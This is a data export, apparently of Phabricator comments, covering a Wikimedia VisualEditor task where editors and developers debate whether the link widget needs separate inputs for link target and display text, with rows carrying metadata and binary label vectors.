+> 
+> b) the dialog popup window contains separate clearly labeled boxes for the link text and the link target. 
+> 
+> I believe both of these changes make a lot of sense.
+
+---
+>>! In T50789#510194, @Thryduulf wrote:
+> An English Wikipedia user comments that the current behaviour of the input widget is not intuitive at all:
+> 
+> ""I clicked the link tool while not focused on any text, to try and add a new link. I got a largely empty box with no instructions, and the next word in the article highlighted within the box.  I fiddled with it a few times, and still don't know if typing in the box A. changes the text of the link. B. allows me to select more words. C. Changes what is linked to, or D. is followed by another, nearly identical box for a secondary function""
+> 
+> To me this is further evidence that we need two boxes: one to enter the link target and one to enter the link display text. The second box would default to the same as the link for internal links and for external links either (ideally) the page title or (less ideally but probably easier) the filename sans extension. 
+>
+> See also T53438
+
+---
+>>! In T50789#510207, @Thryduulf wrote:
+> Adam Cuerden comments again on the suggestion to have separate boxes for link target and link title:
+> ""Yes [that would be better], but do make sure it's on the same page. Don't give one dialogue, then a second. Also, if one of the boxes is left blank, it should be auto-completed from the other box. ""
+> 
+> For the second part of the comment they mean that if someone gives a link target (e.g. Fish) and doesn't specify any title, produce a link: [[Fish]]
+> If someone gives a link title (e.g. Hedgehog) but doesn't specify a target, produce the link: [[Hedgehog]].
+
+--------------------------
+**See Also**: T52945",Lowest,10.0,1378772640,1530193718.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-g66fda6j3q2ga6eul3do,task_description,resolved,True,c1,3,False,False,False,10,,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1
+1339048,VisualEditor: Link input widget should have separate inputs for target and display text,"Change 303956 **merged** by jenkins-bot:
+[VisualEditor/VisualEditor@master] LinkAnnotationInspector: add a ""label"" field on mobile
+
+[[https://gerrit.wikimedia.org/r/303956]]",,,1566512170,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,320,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+1302180,VisualEditor: Link input widget should have separate inputs for target and display text,"Change 303956 restored by Esanders:
+LinkAnnotationInspector: add a ""label"" field
+
+[[https://gerrit.wikimedia.org/r/303956]]",,,1561206667,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,311,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+1094491,VisualEditor: Link input widget should have separate inputs for target and display text,"The solution in T124305#4321883, which is implemented and will be live in two weeks, should effectively resolve this task.",,,1530193718,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,260,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+1093364,VisualEditor: Link input widget should have separate inputs for target and display text,"Change 303956 abandoned by Jforrester:
+LinkAnnotationInspector: add a ""label"" field
+
+Reason:
+It was decided to go with Iad48fb55 instead.
+
+[[https://gerrit.wikimedia.org/r/303956]]",,,1530047719,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,260,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+1090900,VisualEditor: Link input widget should have separate inputs for target and display text,Looks like we're going with the solution Pau proposed above – please see T124305 for details.,,,1529601576,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,259,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+1039954,VisualEditor: Link input widget should have separate inputs for target and display text,FYI: Issues which are caused by the lack of a clear separate visualization of both link destination and link title on the German-language Wikipedia can be seen [[ https://tools.wmflabs.org/persondata/ve.php | with this tool]].,,,1522158502,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,247,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+1015136,VisualEditor: Link input widget should have separate inputs for target and display text,"@Pginer-WMF That looks like it would resolve at least most of the issues I have with the current set-up, and as long as it is obvious that truncation has happened when it has then there are no immediate problems with it I can see. ",,,1518921766,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,241,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,1,0
+1012896,VisualEditor: Link input widget should have separate inputs for target and display text,"One possible approach to explore would be to expose a shortcut for editing the label that results in selecting the link label in place. In this way, there is no duplication of the places used to edit the label (avoiding the issues described above) while making the entry point for editing the label more explicit. We need to be cautious for the later not to cause issues, and test with users accordingly if we decide to explore this direction anytime.
+
+The idea is illustrated below:
+
+{F13736398, size=full}
+- A separate section of the inspector is added about the label. The current label can be cropped if too long, it is there just for reference.
+- Clicking on the section hides the inspector and selects the text label inside the link for the user to type the new one.  Temporary time-based tooltip can appear to indicate to ""type the new label"" if needed.",,,1518605752,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,241,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+909554,VisualEditor: Link input widget should have separate inputs for target and display text,"I'm really not at all sure that the actual benefits of this task to the people who are at the sharp end are actually understood by the developers. There is a reason that this has been resurrected at least twice, has at least four duplicate tasks, and the requests for it continue more than 5 years after it was first requested. Indeed this is one of just two tasks (T51969 is the other, and this is far more important than that) that are standing between where we are now and VE being intuitively easy for both new and power editors to use simply and reliably for non-specialist editing in almost all reasonable circumstances without making unforced errors.
+
+Links are utterly fundamental to the way wikis work and VE is intended to be used by inexperienced users, so it is completely and utterly mind boggling to be told that something that forces unintuitive workarounds to achieve something that should be absolutely basic skill level 0.2 (at most) will not be fixed. ",,,1502273460,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,214,,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+908631,VisualEditor: Link input widget should have separate inputs for target and display text,"There is an insane amount of complexity with links in wikis due to the nature of how much they're used. Any change in this area would divert a lot of product and design time away from other projects, thus making changes here incredibly costly. Given the limited benefit of doing work here compared to other projects, this task is not going to be worked on any time soon. That is, after all, why James declined it twice. The debate here is interesting, but it is mostly academic at this point.",,,1502126282,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,214,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+908630,VisualEditor: Link input widget should have separate inputs for target and display text,"There is an insane amount of complexity with links in wikis due to the nature of how much they're used. Any change in this area divert a lot of product and design time away from other projects, thus making changes here incredibly costly. Given the limited benefit of assigning work here compared to other projects, this task is not going to be worked on any time soon. That is, after all, why James declined it twice. The debate here is interesting, but it is mostly academic at this point.",,,1502126250,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,214,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+908282,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#3505027, @Whatamidoing-WMF wrote:
+>> if a link targets a page that matches exactly the link label, and a user changes that label to the name of a different page, the software can suggest the target also to be updated.
+> 
+> That would be very annoying every time someone needs to change the ending of a link.  `[[Example]]s` is a good link.  `[[Example|Examples]]` is bearable.  Having Clippy ask you if you want to change the link from ``[[Example]]` to `[[Examples]]` every time you try to fix the grammar in a sentence is not bearable.
+
+I think that whether the approach is annoying or not would depend on its execution, and how prominently the suggestion is presented. Clippy represents the annoying extreme of suggestion mechanisms: causing distraction as an animated character, and providing unreasonable suggestions (""what made Clippy think this could be a letter?""). In this case, the approach should be much more subtle (no animated characters) and the connection on why a suggestion is provided is quite clear (so even if it is not what you want, there is not a big surprise that the suggestion was provided). More like [[ https://www.youtube.com/watch?v=qcm0rG8EKXI | Google instant ]] than Clippy.
+
+In that particular example, given that ""Examples"" is a redirect to ""Example"", we can probably show no suggestion at all.",,,1502096404,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,214,,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1
+908564,VisualEditor: Link input widget should have separate inputs for target and display text,"> if a link targets a page that matches exactly the link label, and a user changes that label to the name of a different page, the software can suggest the target also to be updated.
+
+That would be very annoying every time someone needs to change the ending of a link.  `[[Example]]s` is a good link.  `[[Example|Examples]]` is bearable.  Having Clippy ask you if you want to change the link from `[[Example]]` to `[[Examples]]` every time you try to fix the grammar in a sentence is not bearable.",,,1502123192,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,214,,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+908228,VisualEditor: Link input widget should have separate inputs for target and display text,"> if a link targets a page that matches exactly the link label, and a user changes that label to the name of a different page, the software can suggest the target also to be updated.
+
+That would be very annoying every time someone needs to change the ending of a link.  `[[Example]]s` is a good link.  `[[Example|Examples]]` is bearable.  Having Clippy ask you if you want to change the link from ``[[Example]]` to `[[Examples]]` every time you try to fix the grammar in a sentence is not bearable.",,,1502077881,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,214,,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+907272,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#3500032, @Thryduulf wrote:
+>>>! In T55973#3491393, @ssastry wrote:
+>> When you want to change the label, can't you just change the label text without opening the link editor? 
+> There is no way for the software to know which you intend, and no way for the naive user to know which has actually happened without actively opening the link editor, but it is likely that the assumption will be that both were changed (per @Whatamidoing-WMF).
+
+There is no way for the software to know, but the software could pay attention to some clues. As I mentioned in T55973#2792012, if a link targets a page that matches exactly the link label, and a user changes that label to the name of a different page, the software can suggest the target also to be updated. That would give visibility to the user on the mismatch between label and target, and let the user to update the target in one click if needed as some word processors do with spellcheckers.",,,1501835793,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,213,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+907264,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#3491393, @ssastry wrote:
+> When you want to change the label, can't you just change the label text without opening the link editor? 
+The problem is that when you do that you could be intending to change the label without the link or you could be intending to change both label and link. There is no way for the software to know which you intend, and no way for the naive user to know which has actually happened without actively opening the link editor, but it is likely that the assumption will be that both were changed (per @Whatamidoing-WMF). Remember that VE is focused towards inexperienced and less-computer-literate users rather than power users, so there will be a very high proportion of users who do not know that you need to actively check what VE is doing. 
+
+Related to this, some way of identifying in the VE editing surface whether a link is piped or not would be useful in many different scenarios. I've only just thought of this but I've run out of time to investigate whether there is an existing task for this or not, so I'll pop it on VE/F and return to it this evening.
+",,,1501835075,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,213,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+905442,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#3491393, @ssastry wrote:
+> ... that hack is probably unpleasant, but at last for simple label text edit scenarios, it should work just fine?
+
+It works okay, assuming that you actually know that you have to follow all of those steps.  However, I think that we've proven that this is an invalid assumption in at least a substantial fraction of cases.  We have thousands of editors who are accustomed to changing a link such as `[[2016]]` to `[[2017]]` by only changing the visible number.  When you do that in VisualEditor, you end up with `[[2016|2017]]`.
+",,,1501630681,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,213,,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1
+905401,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#3224611, @Thryduulf wrote:
+> Well that news is a big disaapointment as the inability to quickly, easily, reliably and unambiguously change the destination the destination and/or description of a link is the biggest single impediment to Visual Editor.
+> 
+> When changing a link you could want to do one of three things:
+> 1. Change the label
+> 2. Change the target
+> 3. Chang both.
+> 
+> The only way to be sure that the change you want to make is the one being made is to:
+> 1. delete the current link, making sure to note the exact title and capitalisation of any section links
+> 2. type the label
+> 3. select the label
+> 4. open the link dialog
+> 5. enter the link, appending section links if necessary
+> 6. close the link dialog.
+
+When you want to change the label, can't you just change the label text without opening the link editor? But yes, in certain label-edit scenarios, one hack you have to rely on is to make sure there is at least one character left behind with the link and delete that character last ... that hack is probably unpleasant, but at last for simple label text edit scenarios, it should work just fine?",,,1501628448,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,213,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1
+851932,VisualEditor: Link input widget should have separate inputs for target and display text,"Well that news is a big disaapointment as the inability to quickly, easily, reliably and unambiguously change the destination the destination and/or description of a link is the biggest single impediment to Visual Editor.
+
+When changing a link you could want to do one of three things:
+1. Change the label
+2. Change the target
+3. Chang both.
+
+The only way to be sure that the change you want to make is the one being made is to:
+1. delete the current link, making sure to note the exact title and capitalisation of any section links
+2. type the label
+3. select the label
+4. open the link dialog
+5. enter the link, appending section links if necessary
+6. close the link dialog.
+
+In Google Docs you need to.
+1. select the link
+2. open the link dialog
+3. change what needs to  be changed
+4. close the link dialog
+
+Google Docs users, to my knowledge, don't find this unnecessarily heavyweight but rather simple and reliable.",,,1493599292,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,200,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+831629,VisualEditor: Link input widget should have separate inputs for target and display text,"For clarity, this task isn't likely to have work on it soon.
+
+In general, this goes strongly against the design philosophy of the tools, making the process of adding links much ""heavier"" and context-switching. Re-validating the research results would take a lot of time and effort. In practice users don't have as many problems with this area as with others that are higher importance.",,,1490394770,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,194,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0
+761009,VisualEditor: Link input widget should have separate inputs for target and display text,"Another problem to take into consideration are disambiguation pages. Example:
+1. I add a link to https://en.wikipedia.org/wiki/John_Quested_(producer)
+2. I then change the label (which has automatically been set to ""John Quested (producer)"") to just ""John Quested"".
+In this case I do not want any automatism to change the link, and actually not even a suggestion to do so.
+
+In this case this can easily be detected, as https://en.wikipedia.org/wiki/John_Quested is marked as disambiguation page. But doing the same steps with https://en.wikipedia.org/wiki/Albert_Einstein_(album) should work, too, without changing the link accidentally to https://en.wikipedia.org/wiki/Albert_Einstein, even though that page isn't a disambiguation.",,,1479205506,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,176,,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+760611,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2792226, @matmarex wrote:
+> Another idea (strawman): If a wikilink's target is identical to label, we could just synchronize the target with the label when the label is changed. In both the link context and the link inspector, there would be a ""lock/unlock"" button to toggle this behaviour for the currently focused link.
+
+Thanks for the proposal, @matmarex. As pointed out above, the difference is about how much automatic we need the process to be.
+
+Changing the target automatically solves the problem without requiring the users to notice what is going on, which works rally well when it does the right thing. However it creates a stronger inconsistency of expectations when editing a link and has a higher cost for false positives:
+- Inconsistency of expectations. Some links will change their target and others won't. Changing ""lemon"" to ""orange"" will change the target, but changing ""lemons"" to ""oranges"" won't. Conversely, with the proposed approach editing the document will change always the label for all kinds of links, but it will provide a suggestion to change the target too for some of them.
+- Cost for false positives. The Tokyo article indicates that it is the ""capital"" (linking to [[ https://en.wikipedia.org/wiki/Capital_of_Japan | ""Capital of Japan"" ]], not to [[ https://en.wikipedia.org/wiki/Capital | ""Capital"" ]]. The user can add a link to ""Capital of Japan"", change it to just say ""capital"" and either miss that it now points to a different article or get annoyed by having to recreate the link again on an autocorrect-like situation.
+
+
+>>! In T55973#2792689, @DLynch wrote:
+> * It's hard to change the link text completely. Selecting the entire thing by dragging is prone to accidentally selecting outside the link annotation and thus un-linking it when you start typing. Common case: people who paste in a URL letting it auto-link, and then want to add a descriptive label.
+
+This is an interesting case too, thanks for pointing to this, @DLynch. I wonder if we could facilitate things by selecting the whole label when the link is selected/added (similar to what ""add label"" does for quick links). This can be applied to either to (a) links with a URL as label, or (b) links that got their label automatically and have not been edited before.
+It is hard to anticipate how that may interfere with all the other editing processes, but it may be worth prototyping an example to check how it feels in practice.",,,1479145858,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,176,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1
+760570,VisualEditor: Link input widget should have separate inputs for target and display text,"> This issue seems to happen when editing a link that uses the page title as label. This may bring expectations of such information to remain in sync when changing the link (or even not being aware of the target potentially being different from the textual representation).
+
+I do think that's only half of the issue, mind you. There's:
+
+* It's easy to let the link text and URL get out of sync, if they were initially the same. This will show up with internal wikilinks, and URLs which are shown in full.
+* It's hard to change the link text completely. Selecting the entire thing by dragging is prone to accidentally selecting outside the link annotation and thus un-linking it when you start typing. Common case: people who paste in a URL letting it auto-link, and then want to add a descriptive label.
+
+Your suggestion helps with the former, but not the latter. I grant that this is entirely anecdotal, but I started working on this task because the latter issue was bugging me in-practice while I used VE (whereas the former hadn't actually come up for me) so it's the one I have more personal connection to. :D
+
+> Is that like T56947?
+Sort of. T56947 proposes basically exactly what @Pginer-WMF suggested -- a ""you might want to update this"" popup -- whereas @matmarex's suggestion is a more-aggressive version of that which forces the update unless you explicitly opt out.
+
+I think it's basically the system proposed there, yeah. We don't currently have a convenient ""suggest a change"" system in context popups like this, but it's certainly addable if we want it. Making it keyboard-accessible as suggested would break the current paradigm, but it's not like context popups are //currently// keyboard-accessible anyway, so...",,,1479141371,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,176,,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+760430,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2792226, @matmarex wrote:
+> Another idea (strawman): If a wikilink's target is identical to label, we could just synchronize the target with the label when the label is changed. In both the link context and the link inspector, there would be a ""lock/unlock"" button to toggle this behavior for the currently focused link.
+> 
+> I think this would eliminate the user errors of the kind we see now. On the other hand, it would make it somewhat annoying when you actually wanted to change the label (especially when writing in languages with rich inflexion).
+
+Is that like T56947?",,,1479126440,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,176,,0,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1
+760423,VisualEditor: Link input widget should have separate inputs for target and display text,"Another idea (strawman): If a wikilink's target is identical to label, we could just synchronize the target with the label when the label is changed. In both the link context and the link inspector, there would be a ""lock/unlock"" button to toggle this behavior for the currently focused link.
+
+I think this would eliminate the user errors of the kind we see now. On the other hand, it would make it somewhat annoying when you actually wanted to change the label (especially when writing in languages with rich inflexion).",,,1479125778,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,176,,0,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+760374,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2789271, @matmarex wrote:
+>> As I understand it, the main problem occurs when adding a link without any previous text selection.
+> 
+> I think the biggest problem here is in editing links.
+
+Thanks for the illustrative examples, @matmarex.
+This issue seems to happen when editing a link that uses the page title as label. This may bring expectations of such information to remain in sync when changing the link (or even not being aware of the target potentially being different from the textual representation).
+
+I think those cases (where the label and page name matches) could be detected by VE and provide some support to quickly solve the out-of-sync status. For example, I illustrated below how we can surface that once the user changed the label, the link is pointing to the old page but that can be changed to point to a page that matches the new label. Clicking on the suggestion (or using keyboard down arrow to select it + enter) will update the link target without writing it twice.
+
+{F4723857, size=full}
+
+
+In the example above, having separate fields for editing label and target won't be very useful since we are not accessing the editing mode where those would be shown. It can be argued that making the edit label non-editable on the editing surface could force users to access the link editing panel, but that makes other scenarios more complex (e.g., quick label corrections, or using more complex content as link labels).",,,1479120130,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,176,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1
